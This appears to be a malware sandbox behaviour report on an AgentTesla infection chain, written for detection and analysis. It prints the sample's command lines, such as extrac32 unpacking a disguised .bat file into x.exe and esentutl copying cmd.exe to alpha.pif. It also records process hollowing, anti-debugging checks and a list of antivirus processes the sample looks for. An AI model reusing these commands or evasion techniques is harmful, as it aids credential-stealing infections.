Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599343
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599015
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598906
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598796
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598578
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598461
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598310
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598185
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597750
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597203
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596981
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594765
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594656
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594546
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594437

Source: Cllyjbrx.PIF, 00000010.00000002.1997779443.0000000000887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: x.exe, 00000003.00000002.1721962152.000000000085E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1721962152.0000000000874000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.0000000000848000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: xrbjyllC.pif, 00000009.00000003.1838900521.000000002C2A7000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887148378.000000002C2A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: xrbjyllC.pif, 00000011.00000003.2131319058.0000000025AB9000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2937690735.0000000025AB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc
Source: xrbjyllC.pif, 0000000B.00000003.1970886725.000000002A373000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1970981133.000000002A383000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2040276262.000000002A370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllww

Source: C:\Users\user\AppData\Local\Temp\x.exe	API call chain: ExitProcess graph end node	graph_3-32672
Source: C:\Users\Public\Libraries\xrbjyllC.pif	API call chain: ExitProcess graph end node	graph_9-59609
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	API call chain: ExitProcess graph end node	graph_10-27319
Source: C:\Users\Public\Libraries\xrbjyllC.pif	API call chain: ExitProcess graph end node	graph_11-57580
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031DF744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

3_2_031DF744

Source: C:\Users\user\AppData\Local\Temp\x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Code function: 9_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_0040CE09

Source: C:\Users\Public\Libraries\xrbjyllC.pif

9_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031D894C LoadLibraryW,GetProcAddress,FreeLibrary,

3_2_031D894C

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Code function: 9_2_0040ADB0 GetProcessHeap,HeapFree,

9_2_0040ADB0

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0040CE09
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0040E61C
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00416F6A
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_004123F1 SetUnhandledExceptionFilter,	9_2_004123F1
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040CE09
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040E61C
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_1_00416F6A
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_004123F1 SetUnhandledExceptionFilter,	9_1_004123F1
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040CE09
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040E61C
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00416F6A
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_004123F1 SetUnhandledExceptionFilter,	11_2_004123F1
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040CE09
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040E61C
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_1_00416F6A
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_004123F1 SetUnhandledExceptionFilter,	11_1_004123F1

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: C:\Users\Public\Libraries\xrbjyllC.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Memory allocated: C:\Users\Public\Libraries\xrbjyllC.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Memory allocated: C:\Users\Public\Libraries\xrbjyllC.pif base: 400000 protect: page execute and read and write

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\x.exe	Section unmapped: C:\Users\Public\Libraries\xrbjyllC.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Section unmapped: C:\Users\Public\Libraries\xrbjyllC.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Section unmapped: C:\Users\Public\Libraries\xrbjyllC.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Users\Public\Libraries\xrbjyllC.pif base: 3AF008	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Memory written: C:\Users\Public\Libraries\xrbjyllC.pif base: 382008	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Memory written: C:\Users\Public\Libraries\xrbjyllC.pif base: 283008

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	3_2_031C5ACC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	3_2_031CA7C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	3_2_031C5BD8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	3_2_031CA810
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: GetLocaleInfoA,	9_2_00417A20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: GetLocaleInfoA,	9_1_00417A20
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_031A5ACC
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_031A5BD7
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: GetLocaleInfoA,	10_2_031AA810
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: GetLocaleInfoA,	11_2_00417A20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: GetLocaleInfoA,	11_1_00417A20
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_03195ACC
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_03195BD7
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: GetLocaleInfoA,	16_2_0319A810

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031C920C GetLocalTime,

3_2_031C920C

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Code function: 13_2_0040BBD4 GetTimeZoneInformation,

13_2_0040BBD4

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031CB78C GetVersionExA,

3_2_031CB78C

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
